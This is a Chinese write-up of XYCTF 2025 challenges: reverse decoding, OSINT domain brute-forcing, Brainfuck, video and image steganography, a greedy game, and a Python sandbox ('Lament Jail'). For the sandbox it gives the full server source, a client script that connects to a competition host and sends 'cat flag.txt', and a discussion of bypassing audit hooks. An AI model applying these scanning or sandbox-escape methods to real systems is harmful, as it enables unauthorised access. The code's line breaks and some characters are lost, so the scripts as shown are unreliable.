bashdata=[  0x4A, 0xAB, 0x9B, 0x1B, 0x61, 0xB1, 0xF3, 0x32, 0xD1, 0x8B,   0x73, 0xEB, 0xE9, 0x73, 0x6B, 0x22, 0x81, 0x83, 0x23, 0x31,   0xCB, 0x1B, 0x22, 0xFB, 0x25, 0xC2, 0x81, 0x81, 0x73, 0x22,   0xFA, 0x03, 0x9C, 0x4B, 0x5B, 0x49, 0x97, 0x87, 0xDB, 0x51,   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]opcode=[0x02, 0x02, 0x0C, 0x01, 0x1A, 0x55, 0x01, 0x23, 0x0C, 0x02, 0x0E, 0x09, 0x01, 0x1B, 0x06, 0x08, 0x06, 0x05, 0x08, 0x01, 0x05, 0x02, 0x1B, 0x0E, 0x02, 0x19, 0x03, 0x02, 0x1A, 0x04, 0x08, 0x04, 0x08, 0x01, 0x03, 0x0C, 0x02, 0x0C, 0x0A, 0x01, 0x25, 0x02, 0x01, 0x20, 0x02, 0x01, 0x09, 0x0C, 0x08, 0x1A, 0x05, 0x02, 0x04, 0x0D, 0x08, 0x08, 0x0F, 0x02, 0x0A, 0x0E, 0x01, 0x10, 0x07, 0x01, 0x0C, 0x07, 0x08, 0x22, 0x08, 0x08, 0x15, 0x0A, 0x01, 0x27, 0x7E, 0x02, 0x07, 0x02, 0x08, 0x0F, 0x03, 0x08, 0x0A, 0x0A, 0x01, 0x22, 0x0B, 0x02, 0x12, 0x08, 0x02, 0x19, 0x09, 0x08, 0x0E, 0x06, 0x08, 0x00, 0x05, 0x01, 0x0A, 0x08, 0x08, 0x1B, 0x07, 0x08, 0x0D, 0x06, 0x08, 0x0D, 0x04, 0x08, 0x17, 0x0C, 0x08, 0x22, 0x0E, 0x02, 0x12, 0x34, 0x01, 0x26, 0x77, 0x00, 0x00, 0x00, 0x00, 0x00]flag=[0]*48for i in range(0,40,4):      flag[i]=((data[i+2]<<5)|(data[i+3]>>3))&0xff      flag[i+1]=((data[i+3]<<5)|(data[i]>>3))&0xff      flag[i+2]=((data[i]<<5)|(data[i+1]>>3))&0xff      flag[i+3]=((data[i+1]<<5)|(data[i+2]>>3))&0xfffor i in range(0,123,3):      aa=opcode[i]      bb=opcode[i+1]      cc=opcode[i+2]      # print(aa,end=',') 2,1,1,2,1,8,8,2,2,2,8,1,2,1,1,1,8,2,8,2,1,1,8,8,1,2,8,8,1,2,2,8,8,1,8,8,8,8,8,2,1      if bb>=1:            if aa==1:                  flag[bb]-=cc            elif aa==2:                  flag[bb]+=cc            elif aa==3:                  flag[bb]//=cc            elif aa==4:                  flag[bb]*=cc            elif aa==8:                  flag[bb]^=ccfor i in range(48):      print(chr(flag[i]),end='')    
flag{L3@rn-ng_1n_0ld_sch00b_@nd_g3x_j0y}
Misc
XGCTF
UKY 2025XYCTF WP
题目任务是找到dragonkeep的博客。
首先,在“CTFshow”中找到XGCTF,通过搜寻,发现LamentXU师傅出的题:
UKY 2025XYCTF WP
接下来,已知这道题是一道原题,我们需要找到原来的题目,借助AI神力:
UKY 2025XYCTF WP
我们得知这道题是2024年CISCN的原题。
接下来就是找到dragonkeep的博客了,他的域名是dragonkeep加上一个字母,后缀未知,直接采取脚本爆破,遍历所有的可能性域名,进行访问,返回访问成功的域名(代表该网站存在。)
import requestsimport timefrom tqdm import tqdm# 原始域名base_domain = "dragonkeep"# 可能的字母(a-z)letters = "abcdefghijklmnopqrstuvwxyz"# 可能的域名后缀suffixes = [".com"".net"".org"".cn"".io"".top"".xyz"".app"".info"]# 生成所有可能的域名组合def generate_domains(base):        domains = []        for i in range(len(base) + 1):  # 插入位置                for letter in letters:      # 插入的字母                        new_domain = base[:i] + letter + base[i:]                        domains.append(new_domain)        return domains# 检查域名是否可以访问def check_domain(domain, suffix):        full_domain = f"{domain}{suffix}"        try:                response = requests.head(f"http://{full_domain}", allow_redirects=True, timeout=5)                if response.status_code == 200:                        return full_domain        except:                pass        return None# 主函数def main():        domains = generate_domains(base_domain)        valid_domains = []        # 遍历所有域名和后缀        total_checks = len(domains) * len(suffixes)        with tqdm(total=total_checks, desc="Checking domains"as pbar:                for domain in domains:                        for suffix in suffixes:                                result = check_domain(domain, suffix)                                if result:                                        valid_domains.append(result)                                        print(f"nFound valid domain: {result}")                                pbar.update(1)                                time.sleep(0.1)  # 避免请求过于频繁                   # 保存结果         with open("valid_domains.txt""w"as f:                 for domain in valid_domains:                         f.write(f"{domain}n")         print(f"nFound {len(valid_domains)} valid domains. Results saved to valid_domains.txt")if __name__ == "__main__":         main()
虽然跑的时间有点长,好在是出来了:
UKY 2025XYCTF WP
UKY 2025XYCTF WP
访问dragonkeeep.top,可以发现这就是dragonkeep的博客。
UKY 2025XYCTF WP
紧接着直接找到CISCIN题目的这一篇文章:
UKY 2025XYCTF WP
然而阅读一遍并没有发现flag
最后打开F12,在网页的前端代码中搜寻到flag:
UKY 2025XYCTF WP
进行解base64,得到flag:
flag{1t_I3_t3E_s@Me_ChAl1eNge_aT_a1L_P1e@se_fOrg1ve_Me}
签个到吧
首先得到文本:
UKY 2025XYCTF WP
很显然这是brainfuck语言(题目也有提示,最小的,图灵完备。。。)
有必要补充一下brainfuck语法:
Brainfuck 编程语言 由 8 个命令组成:
UKY 2025XYCTF WP
我们可以知道,[]为一个循环体,
我们查看第一行部分:
>+++++++++++++++++[<++++++>-+-+-+-]>[-]>++++++++++++[<+++++++++>-+-+-+-]
首先>表示指针位右移, 
例如 0 0 0 0 0 0 0  →  0 0 0 0 0 0 0
然后+使得指针当前位加1,有几个代表加了几次,那么在[之前,我们得到的结果是:
0 17 0 0 0 0 0 0
紧接着便进入循环体了,进入的第一步<将指针位左移到了第一位:
UKY 2025XYCTF WP
然后开始增加,增加6次后右移动一次。
因为后面没有位的移动了,之后的“-+-+-+-”实际上等价于“-”,实际上是为了减去第二位的数字,因为在之前,第二位是用来计数循环的次数的,当要继续输出时,要删除这一位。
那么,当循环结束后,可以得到:
UKY 2025XYCTF WP
这是第一个循环结束后的值,第一位是f,也就是flag开头的第一个字母。
那么,为什么我们使用在线工具无法解析呢?
原因其一是因为没有输出,当循环体结束后,此时的指针指向的是第二位,但是这个位置是0,因此要输出f,需要将指针移动到第一位上,使用“<”再使用“.”进行输出。
UKY 2025XYCTF WP
接下里就好办了。。。
之后,进行了一个很小的循环体:<[-]>
它的作用是将指针移动到刚才的第一位上,并且清除数据。也就是说,当<[-]>运行完后,我们此时的数据又变回了:
0 0 0 0 0 0 0 0
既然如此,我们需要做的就是在这个数据被清除之前让它输出来:
在每个<[-]>循环体之前加上<.试试:
UKY 2025XYCTF WP
然而是乱码。。
显然这里犯了一个错误,代码是顺序进行的,我们在其中进行了移动位置输出后,必须把原来的位置移动回去,这才能保证之后的代码不受影响。因此,正确的应该是:<.>
我们在每个“<[-]>”之前加上<.>即可:
处理后的文本:
>+++++++++++++++++[<++++++>-+-+-+-]<.><[-]>++++++++++++[<+++++++++>-+-+-+-]<.><[-]>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++[<+>-+-+-+-]<.><[-]>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++[<+>-+-+-+-]<.><[-]>+++++++++++++++++++++++++++++++++++++++++[<+++>-+-+-+-]<.><[-]>+++++++++++++++++++++++++++++[<+++>-+-+-+-]<.><[-]>+++++++++++++++++[<+++>-+-+-+-]<.><[-]>++++++++++++[<+++++++++>-+-+-+-]<.><[-]>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++[<+>-+-+-+-]<.><[-]>++++++++[<++++++>-+-+-+-]<.><[-]>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++[<+>-+-+-+-]<.><[-]>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++[<+>-+-+-+-]<.><[-]>+++++++++++++++++++[<+++++>-+-+-+-]<.><[-]>+++++++++++++++++++++++++++++[<++++>-+-+-+-]<.><[-]>++++++++[<++++++>-+-+-+-]<.><[-]>+++++++++++++++++++[<+++++>-+-+-+-]<.><[-]>+++++++++++[<++++++++>-+-+-+-]<.><[-]>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++[<+>-+-+-+-]<.><[-]>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++[<+>-+-+-+-]<.><[-]>++++++++++++[<+++++++>-+-+-+-]<.><[-]>++++++++++[<+++++++>-+-+-+-]<.><[-]>+++++++++++++++++++[<+++++>-+-+-+-]<.><[-]>++++++++++[<+++++>-+-+-+-]<.><[-]>++++++++[<++++++>-+-+-+-]<.><[-]>++++++++++[<+++++>-+-+-+-]<.><[-]>+++++++++++++++++++++++++++++++++++++++++++++++++++++[<+>-+-+-+-]<.><[-]>+++++++++++++++++++[<+++++>-+-+-+-]<.><[-]>+++++++++++++++++++++++[<+++>-+-+-+-]<.><[-]>+++++++++++[<++++++++++>-+-+-+-]<.><[-]>+++++++++++++++++++++++++++++++++++++++++++++++++++++[<++>-+-+-+-]<.><[-]>++++++++[<++++++>-+-+-+-]<.><[-]>+++++++++++[<+++++>-+-+-+-]<.><[-]>+++++++++++++++++++[<+++++>-+-+-+-]<.><[-]>+++++++[<+++++++>-+-+-+-]<.><[-]>+++++++++++++++++++++++++++++[<++++>-+-+-+-]<.><[-]>+++++++++++[<+++>-+-+-+-]<.><[-]>+++++++++++++++++++++++++[<+++++>-+-+-+-]<[-]<.>
在线网站解密得到flag:
UKY 2025XYCTF WP
flag{W3lC0me_t0_XYCTF_2025_Enj07_1t!}
MADer也要当CTFer | 未解出
UKY 2025XYCTF WP
题目是一个mkv后缀的视频,奇怪的地方在显示时长有5小时多,但真正能播放的有效时长只有12秒。
需要分析常见的mkv隐写:
这里我使用了工具MKVToolNix分析了该mkv文件:
UKY 2025XYCTF WP
这是一段分析该文件的log,只需要知道总结:
  • 该 MKV 文件包含一个视频轨道(H.264 编码)、两个音频轨道(AAC 和 MP3 编码)以及一个字幕轨道(ASS 格式)。
  • 视频分辨率为 1920x1080,时长约为 5 小时 50 分钟。
  • 字幕使用了 ASS 格式,包含详细的样式定义。
  • 文件的编码工具为 mkvmerge v9.5.0,创建时间为 2025 年 3 月 3 日。
那么我们就可以用到该文件夹的mkvinfo.exe来分析得到:
bashmkvinfo.exe 文件地址
UKY 2025XYCTF WP
UKY 2025XYCTF WP
那么之后我们便可以用到:
bashmkvextract.exe tracks "文件路径" 轨道ID:输出文件名
如下:
UKY 2025XYCTF WP
提取得到三个文件video,music1,music2
1.video文件就是那可播放的12秒动画
2.music1则是一段音频但是听不到声音:
UKY 2025XYCTF WP
3.music2比较特别,在记事本打开有ASS(Advanced SubStation Alpha)格式 的字幕数据
UKY 2025XYCTF WP
思路:可能需要从字幕数据中找(也有可能上面的都不是对的方向)困了
曼波曼波曼波
得到一个flag.png和smn.txt
UKY 2025XYCTF WP
flag.png扫码得到的是fake flag
而smn.txt明显的特征,需要我们反转文件内容:
def reverse_file_content(input_file_path, output_file_path):        """        将文本文件中的内容反转并保存到另一个文件中        :param input_file_path: 输入文件路径        :param output_file_path: 输出文件路径        """        try:                # 打开输入文件并读取内容                with open(input_file_path, 'r', encoding='utf-8'as file:                        content = file.read()                # 反转内容                reversed_content = content[::-1]                # 将反转后的内容写入输出文件                with open(output_file_path, 'w', encoding='utf-8'as file:                        file.write(reversed_content)              print(f"文件内容已反转并保存到 {output_file_path}")        except FileNotFoundError:                print(f"错误:文件 {input_file_path} 未找到")        except Exception as e:                print(f"发生错误:{e}")# 示例用法input_file = ("smn.txt")  # 输入文件名output_file = "reversed_example.txt"  # 输出文件名reverse_file_content(input_file, output_file)
反转后明显符合了base64编码,同时字符这么多,首先想到的是转换成图片
将得到的base64转换成图片得到:
UKY 2025XYCTF WP
随波逐流发现图片文件中隐藏zip包,foremost出来得到zip并解压,得到manbo文件夹:
UKY 2025XYCTF WP
而secret.txt提到解压密码:
UKY 2025XYCTF WP
是XYCTF2025,解压成功得到xixi文件夹,里面有着和manbo文件夹easy.png一样内容的图片EASY.png
UKY 2025XYCTF WP
UKY 2025XYCTF WP
猜测是盲水印,但是这里要注意使用python3的
UKY 2025XYCTF WP
得到图片:
UKY 2025XYCTF WP
XYCTF{easy_yin_xie_dfbfuj877}
会飞的雷克萨斯
由抖音大数据和百度地图可知
四川省内江市资中县春岚北路
但是题目需要我们找出定位爆炸点的具体位置
flag{四川省内江市资中县春岚北路中铁城市中心内}
Greedymen
UKY 2025XYCTF WP
查看题目,共有3关卡,内容差不多。
我们需要在1到50/100/200的数组中不断选择数字,一旦我们选择了某个数字,那么该数字的真因数会全部被对方选择。
我们需要在指定的轮数内通过合理的选择,最终让我们的分数大于对方。
审视问题规则:
  1. 玩家选择一个数字,获得该数字的分数,对手则获得该数字所有未被选过的因数的分数。
  2. 一旦数字被任何一方选中,其他玩家不能再选。
  3. 每次选择后,计数器减1,当计数器为0或无法选择时,游戏结束,剩余数字归对手。
为了赢得游戏,我们需要制定一个贪心策略,每次选择当前未被选过的数中,净收益(自身得分减去对手可能获得的因数得分)最大的数。这样能确保每一步都最大化当前的优势。
代码逻辑:
  1. 预计算真因数:对于每个数,预先计算其真因数(除自身外的因数),方便后续快速查找。
  2. 贪心选择:遍历所有未被选过的数,计算每个数的净收益(当前数减去对手将获得的真因数和),选择净收益最大的数。
  3. 更新集合:每次选择后更新玩家和对手的集合,确保因数不会被重复计算。
  4. 处理剩余数:游戏结束时,未被选择的数归对手所有。
同时,如果玩家选择了数字6,对手会得到因数1、2、3。这些因数必须被加入已选集合,否则之后玩家可能再次选择这些因数,但根据规则,任何被选过的数字都不能再被选,不论是被谁选的。
  1. 使用一个集合chosen来记录所有已被选中的数字,包括玩家和对手的。
  2. 每次玩家选择一个数字num后,将其加入chosen,并检查其所有真因数,将未被选的因数也加入chosen
  3. 在计算每个候选数字的净收益时,需要排除那些已经被选中的因数,只计算未被选的真因数的和。
  4. 确保每次选择后,计数器减1,直到计数器为0或没有可选数字为止。
这样处理可以确保一旦数字被任何一方选中,就不会再被重复选择,符合题目规则。
代码如下:
def get_true_factors(n):        """获取真因数(不包括自身)"""        if n == 1:                return []        factors = set()        for i in range(1int(n**0.5) + 1):                if n % i == 0:                        if i != n:                                factors.add(i)                        j = n // i                        if j != n and j != i:                                factors.add(j)        return sorted(factors)def solve_game(level):        if level == 1:                max_num = 50                initial_counter = 19        elif level == 2:                max_num = 100                initial_counter = 37        elif level == 3:                max_num = 200                initial_counter = 76        else:                return []            # 预计算每个数的真因数        true_factors = {n: get_true_factors(n) for n in range(1, max_num+1)}            chosen = set()  # 所有已被选中的数字(包括对手的因数)        moves = []      # 玩家的选择顺序        counter = initial_counter    while counter > 0:                best_net = -float('inf')                best_num = None                        # 从高到低遍历,优先选择大数字(净收益相同时)                for num in range(max_num, 0, -1):                        if num in chosen:                                continue                                    # 计算净收益:num的值减去对手能获得的未选因数之和                        sum_opp = 0                        for f in true_factors[num]:                                if f not in chosen:                                        sum_opp += f                                    net = num - sum_opp                                # 必须满足:该数字还有至少一个因数未被选(或本身没有因数)                        if len(true_factors[num]) == 0 or sum_opp > 0:                                if net > best_net or (net == best_net and num > best_num):                                        best_net = net                                        best_num = num                        if best_num is None:  # 没有合法选择,提前结束                        break                        # 执行选择                    moves.append(best_num)                chosen.add(best_num)                # 将对手获得的因数标记为已选                for f in true_factors[best_num]:                        if f not in chosen:                                chosen.add(f)                        counter -= 1             return moves# 测试 Level 1 (修改这里的数字选择level)print(solve_game(1)) 
最终我们得到以下三组解:
level1:
UKY 2025XYCTF WP
level2:
UKY 2025XYCTF WP
level3:
UKY 2025XYCTF WP
依次输入后得到flag:
UKY 2025XYCTF WP
flag{Greed, is......key of the life.}
sins | 未解出
附件下载:
from secret import flagprint('For there are three that bear record in heaven, the Father, the Word, and the Holy Ghost')print('But here we have four cases bearing witness')def i_pow(n):        if n % 4 == 0# as the 40 days of flood                return '1'        elif n % 4 == 1# as the 1 true God                return 'i'        elif n % 4 == 2# as the 2 tablets of stone                return '-1'        elif n % 4 == 3# as the 3 days in the tomb                return '-i'inp = input("wash away your sins: ")assert all(i in "i0123456789+-*%/^=<>~&|:()[]'" for i in inp), "invalid char"assert len(inp) < 16"too long"R = eval(f"lambda i: {inp}", {}, {})assert all(R(i) == i_pow(i) for i in range(int.from_bytes(b'The_adwa_shall_forgive_thee') // 2**195))print(flag)
  • 程序提示用户输入一个表达式,用于“洗净罪恶”。
  • 第一个 assert 语句确保用户输入的表达式只包含允许的字符(数字、运算符、括号等)。如果输入包含非法字符,程序会抛出异常并提示“invalid char”。
  • 第二个 assert 语句确保输入的长度小于 16 个字符。如果输入过长,程序会抛出异常并提示“too long”。
允许的字符:
i0123456789+-*%/^=<>~&|:()[]'
用户输入的表达式需要与 i_pow 函数的结果一致
  • 这个函数用于计算虚数单位 i 的幂。根据数学规则,i 的幂会周期性地循环:
    • i0=1
    • i1=i
    • i2=−1
    • i3=−i
    • 然后每 4 次循环重复一次。
  • 函数通过取模运算 n % 4 来判断 i 的幂,并返回相应的字符串。
那么我们需要找到符合要求的表达式。
Lament Jail | 未解出
是一个pyjail类型的题目。
源代码:
# -*- coding:utf-8 -*-# @FileName  :Lament_Jail.py# @Time      :2025/3/22 12:37:43# @Author    :LamentXUfrom socket import *from os import removefrom Crypto.Cipher import AES, PKCS1_OAEPfrom Crypto.PublicKey import RSAfrom Crypto.Random import get_random_bytesfrom zlib import compress, decompressfrom uuid import uuid4from json import dumpsfrom subprocess import Popen, PIPE# 注解:导入了必要的模块,包括socket用于网络通信,os用于文件操作,Crypto用于加密,zlib用于数据压缩和解压缩,uuid用于生成唯一标识符,json用于数据序列化,subprocess用于执行子进程。'''Definate all the errors'''class MessageLengthError(Exception):    def __init__(self, message) -> None:        self.message = messageclass PasswordError(Exception):    def __init__(self, message) -> None:        self.message = message# 定义了两个自定义异常类,MessageLengthError用于处理消息长度错误,PasswordError用于处理密码错误。class SimpleTCP():  # 定义了一个名为SimpleTCP的类,用于处理TCP通信。    '''    The main class when using TCP    '''    def __init__(self, family: AddressFamily = AF_INET, type: SocketKind = SOCK_STREAM, proto: int = -1, fileno: int = None, is_encrypted: bool = True, AES_key: bytes = None, password: bytes = None) -> None:        '''        is_encrypted: use encrypted connection, only for server        AES_key: use a fixed AES_key, None for random, must be 16 bytes, only for server        password: A fixed password is acquired from the client (must smaller than be 100 bytes), if wrong, the connection will be closed            if password is set in server, every time a client connect, the client must send the same password back to the server to accept.            if password is set in client, every time you connect to the server, the password will be sent to the server to verify.            if password is None, no password will be used.        self.Default_message_len: if in encrypted mode, the value must be a multiple of self.BLOCK_SIZE        MAKE SURE THE DEFAULT_MESSAGE_LEN OF BOTH SERVER AND CLIENT ARE SAME, Or it could be a hassle        is_encrypted:使用加密连接,仅适用于服务器端。        AES_key:使用固定的AES密钥,如果为None则随机生成,必须是16字节,仅适用于服务器端。        password:从客户端获取一个固定的密码(必须小于100字节),如果密码错误,连接将被关闭。        如果在服务器端设置了密码,每次客户端连接时,客户端必须将相同的密码发送回服务器以被接受。        如果在客户端设置了密码,每次连接到服务器时,密码将被发送到服务器进行验证。        如果密码为None,则不使用密码。        self.Default_message_len:如果处于加密模式,该值必须是self.BLOCK_SIZE的倍数。        注意:确保服务器和客户端的DEFAULT_MESSAGE_LEN设置相同,否则可能会出现问题。        '''        self.BLOCK_SIZE = 16 # block size of padding text which will be encrypted by AES        # the block size must be a mutiple of 8        self.default_encoder = 'utf8'  # the default encoder used in send and recv when the message is not bytes        if is_encrypted:            if AES_key == None:                self.key = get_random_bytes(16)  # generate 16 bytes AES code            else:                self.key = AES_key #TODO check the input            self.cipher_aes = AES.new(self.key, AES.MODE_ECB)        else:            self.key, self.cipher_aes = NoneNone        self.default_message_len = 1024 # length of some basic message, it's best not to go below 1024 bytes        if password == None:            self.password = None        else:            self.password = self.turn_to_bytes(password)            if len(password) > 100:                raise ValueError('The password is too long, it must be smaller than 100 bytes')        self.s = socket(family, type, proto, fileno)  # main socket    def accept(self) -> tuple:        '''        Accept with information exchange and key exchange, return the address of the client        if the password from client is wrong or not set, raise PasswordError        '''        self.s, address = self.s.accept()        if self.key == None:            is_encrypted = False        else:            is_encrypted = True        if self.password == None:            has_password = False        else:            has_password = True        info_dict = {'is_encrypted' : is_encrypted, 'has_password' : has_password}        info_dict = dumps(info_dict).encode(encoding=self.default_encoder)        self.s.send(self.turn_to_bytes(len(info_dict)))        self.s.send(info_dict)        if has_password:            password_length = self.unpadding_packets(self.s.recv(3), -1)            if not password_length:                self.s.close()                raise PasswordError(f'The client {address} does not send the password, the connection will be closed')            recv_password = self.s.recv(int(password_length.decode(encoding=self.default_encoder))) # the first byte is whether the password is aquired(1) or not(0), the rest is the password, the password is padded to 100 bytes            if recv_password != self.password or recv_password[0] == b'0':                self.s.send(b'0')                self.s.close()                raise PasswordError(f'The password {recv_password} is wrong, the connection from {address} will be closed, you can restart the accept() function or put it in a while loop to keep accepting')            else:                self.s.send(b'1')        if is_encrypted:            public_key = self.s.recv(450)            rsa_public_key = RSA.import_key(public_key)            cipher_rsa = PKCS1_OAEP.new(rsa_public_key)            encrypted_aes_key = cipher_rsa.encrypt(self.key)            self.s.send(encrypted_aes_key)        # TODO        return address    def turn_to_bytes(self, message) -> bytes:        '''        Turn str, int, etc. to bytes using {self.default_encoder}        '''        type_of_message = type(message)        if type_of_message == str:            try:                message = message.encode(encoding=self.default_encoder)            except Exception as e:                raise TypeError('Unexpected type "{}" of {} when encode it with {}, raw traceback: {}'.format(type_of_message, message, self.default_encoder, e))        elif type_of_message == bytes:            pass        else:            try:                message = str(message).encode(encoding=self.default_encoder)            except:                raise TypeError('Unexpected type "{}" of {}'.format(type_of_message, message))        return message    def unpadding_packets(self, data: bytes, pad_num: int) -> bytes:        '''        Delete the blank bytes at the back of the message        pad_num : number of the blank bytes        pad_num = -1, delete all the blank bytes the the back(or use .rstrip() directly is ok)        '''        if pad_num == -1:            data = data.rstrip()        else:            while pad_num > 0 and data[-1:] == b' ':                data = data[:-1]                pad_num -= 1        return data    def padding_packets(self, message: bytes, target_length: int = None) -> tuple:        '''        Pad the packet to {target_length} bytes with b' ', used in not-encrypted mode        The packet must be smaller then {target_length}        target_length = None : use self.default_message_len        '''        message = self.turn_to_bytes(message)        if target_length == None:            target_length = self.default_message_len        if len(message) > target_length:            raise MessageLengthError('the length {} bytes of the message is bigger than {} bytes, please use self.send_large_small and self.recv instead'.format(str(len(message)), target_length))        pad_num = target_length-len(message)        message += b' ' * pad_num        return (message, pad_num)    def pad_packets_to_mutiple(self, data: bytes, block_size: int == None) -> bytes:        '''        Pad the data to make the length of it become a mutiple of Blocksize, used in encrypted mode        target_length = None : use self.BLOCK_SIZE        '''        padding_length = block_size - (len(data) % block_size)        if padding_length == 0:            padding_length = block_size        padding = bytes([padding_length]) * padding_length        padded_data = data + padding        return padded_data    def send_large(self, message) -> None:        '''        Send message with the socket        can accept bytes, str, int, etc.        every non-bytes message will be encoded with self.default_encoder        Every packet is forced to be filled to {self.default_message_len} bytes        '''        message = self.turn_to_bytes(message)        message = compress(message)        message_list = [message[i:i + self.default_message_len] for i in range(0len(message), self.default_message_len)]        message_list_len = len(message_list)        self._send(self.padding_packets(self.turn_to_bytes(message_list_len))[0])        message_index = 0        for message in message_list:            message_padded = self.padding_packets(message)            message = message_padded[0]            self._send(message)            message_index += 1            if message_index == message_list_len:                pad_num = message_padded[1]                self._send(self.padding_packets(self.turn_to_bytes(str(pad_num)))[0])    def send(self, message) -> None:        '''        Send a message with the socket        can accept bytes, str, int, etc.        The data should not be larger than 9999 bytes        It can be used at any time        Use self.send_large and recv_large if you want to send a big message        '''        message = self.turn_to_bytes(message)        try:            message_len = self.padding_packets(self.turn_to_bytes(len(message)), target_length=4)[0]        except MessageLengthError:            raise MessageLengthError('The length of message is longer than 9999 bytes({} bytes), please use send_large instead'.format(str(len(message))))        self._send(message_len)        self._send(message)    def _send(self, message: bytes) -> None:        '''        The basic method to encrypt and send data        MUST BE A MUTIPLE OF THE BLOCK SIZE IN ENCRYPTED MODE        '''        if self.cipher_aes != None:            output_message = self.cipher_aes.encrypt(self.pad_packets_to_mutiple(message, self.BLOCK_SIZE))            # plainmessage = unpad(self.cipher_aes.decrypt(output_message), self.BLOCK_SIZE)        else:            output_message = message        self.s.send(output_message)  # The TCP mode    def recvfile(self) -> bytes:        '''        Only receive file sent using self.send_largefile        '''        output = b''        while True:            a = self.recv_large(is_decode=False)            if a != 'EOF'.encode(encoding=self.default_encoder):                output += a            else:                break        return output    def recv_large(self, is_decode: bool = True):        '''        The return type can be bytes or string        The method to recv message WHICH IS SENT BY self.send_large        is_decode : decode the message with {self.default_encoder}        '''        message_listlen = self._recv(self.default_message_len).decode(encoding=self.default_encoder).rstrip()        message_listlen = int(message_listlen)        message = b''        for i in range(0, message_listlen):            mes = self._recv(self.default_message_len)            if i == message_listlen - 1:                mes_padnum = int(self._recv(self.default_message_len).decode(encoding=self.default_encoder))            else:                mes_padnum = 0            mes = self.unpadding_packets(mes, mes_padnum)            message += mes        message = decompress(message)        if is_decode:            message = message.decode(encoding=self.default_encoder)        return message    def _recv(self, length: int) -> bytes:        '''        The basic method to decrypt and recv data        '''        if self.cipher_aes != None:            if length % 16 == 0:                length += 16            length = (length + self.BLOCK_SIZE-1) // self.BLOCK_SIZE * self.BLOCK_SIZE # round up to multiple of 16            message = self.s.recv(length)            message = self.cipher_aes.decrypt(message)            message = self.unpad_packets_to_mutiple(message, self.BLOCK_SIZE)        else:            message = self.s.recv(length)        return message    def unpad_packets_to_mutiple(self, padded_data: bytes, block_size: int == None) -> bytes:        '''        Unpad the data to make the length of it become a mutiple of Blocksize, used in encrypted mode        target_length = None : use self.BLOCK_SIZE        '''        if block_size == None:            block_size = self.BLOCK_SIZE        padding = padded_data[-1]        if padding > block_size or any(byte != padding for byte in padded_data[-padding:]):            raise ValueError("Invalid padding")        return padded_data[:-padding]def main():    Sock = SimpleTCP(password='LetsLament')    Sock.s.bind(('0.0.0.0'13337))    Sock.s.listen(5)    while True:        _ = Sock.accept()        Sock.send('Hello, THE flag speaking.')        Sock.send('I will not let you to control Lament Jail forever.')        Sock.send('But, my friend LamentXU has to control it, as he will rescue me out of this jail.')        Sock.send('So here is the pyJail I build. Only LamentXU knows how to break it.')        a = Sock.recvfile().decode()        waf = '''import sysdef audit_checker(event,args):    if not 'id' in event:        raise RuntimeErrorsys.addaudithook(audit_checker)'''        content = waf + a        name = uuid4().hex+'.py'        with open(name, 'w'as f:            f.write(content)        try:            cmd = ["python3", name]            p = Popen(cmd, stdout=PIPE, stderr=PIPE)            for line in iter(p.stdout.readline, b''):                Sock.send(line.decode('utf-8').strip())            p.wait()            Sock.send('Done, BYE.')        except:            Sock.send('Error.')        finally:            Sock.s.close()        remove(name)if __name__ == '__main__':    while True:        try:            main()        except:            pass
代码功能分析:
  1. SimpleTCP类:实现了加密的TCP通信,包括:AES加密通信,RSA密钥交换,密码验证,大文件传输功能
  2. 主函数main():监听13337端口,要求密码"LetsLament"进行连接,接收用户上传的Python代码,在沙箱环境中执行代码并返回输出
安全限制
  1. 密码保护:必须使用密码"LetsLament"连接
  2. 审计钩子:执行的代码会被添加审计钩子,限制危险操作
Pythondef audit_checker(event,args):if not 'id' in event:raise RuntimeErrorsys.addaudithook(audit_checker)
我们需要做的是绕过这个审计钩子,来执行我们需要的代码
目前已知的题目提示:
  1. 主机上运行有能够让人们完全控制主机的服务(使用套接字进行远控)
  2. 主机上限制了我们远程代码的执行
  3. 主机上存在/bin/rf(可能算后门文件),可以从某个地方直接读取flag。
首先第一步是连接服务器,服务器使用了 加密通信(服务器使用 AES加密(AES.MODE_ECB,并且会在连接时进行 RSA密钥交换) 和 密码验证(服务器要求客户端发送密码(password='LetsLament'
流程如下:
服务器首先发送 {"is_encrypted": true, "has_password": true}
然后等待客户端:
  • 发送密码(LetsLament)。
  • 发送 RSA 公钥(用于交换 AES 密钥)。
如果客户端不按照流程发送数据,服务器会直接断开连接
这里使用 pwntools 进行自动化连接:
先输入一个cat flag 试试水:
from pwn import *from Crypto.Cipher import AESfrom Crypto.PublicKey import RSAfrom Crypto.Cipher import PKCS1_OAEPdef exploit():        r = remote("47.93.96.189"39090    # 1. 接收服务器初始信息        server_info = r.recvuntil("}").decode()        print("Server info:", server_info)            # 2. 发送密码        password = "LetsLament"        r.send(str(len(password)).encode().ljust(3))        r.send(password.encode())            # 3. 检查密码是否正确        auth_result = r.recv(1)        if auth_result != b'1':                print("Wrong password!")                return             # 4. 生成 RSA 密钥对并发送公钥         key = RSA.generate(2048)         public_key = key.publickey().export_key()         r.send(public_key)             # 5. 接收 AES 密钥并解密         encrypted_aes_key = r.recv(256)         cipher_rsa = PKCS1_OAEP.new(key)         aes_key = cipher_rsa.decrypt(encrypted_aes_key)             # 6. 发送加密的命令         cipher_aes = AES.new(aes_key, AES.MODE_ECB)         cmd = "cat flag.txt".encode()         padded_cmd = cmd + b' ' * (16 - len(cmd) % 16)       encrypted_cmd = cipher_aes.encrypt(padded_cmd)         r.send(encrypted_cmd)             # 7. 接收并解密服务器返回的数据         response = r.recv(1024)         decrypted_response = cipher_aes.decrypt(response).strip()         print("Flag:", decrypted_response.decode())             r.close() exploit()
有如下回显:
UKY 2025XYCTF WP
提示我们存在pyjail,需要想办法绕过
服务器端接收到客户端发送的代码后,会将其与预定义的waf字符串拼接:
原代码:
waf = '''import sysdef audit_checker(event, args):        if not 'id' in event:                raise RuntimeErrorsys.addaudithook(audit_checker)'''content = waf + a  # a 是客户端发送的代码
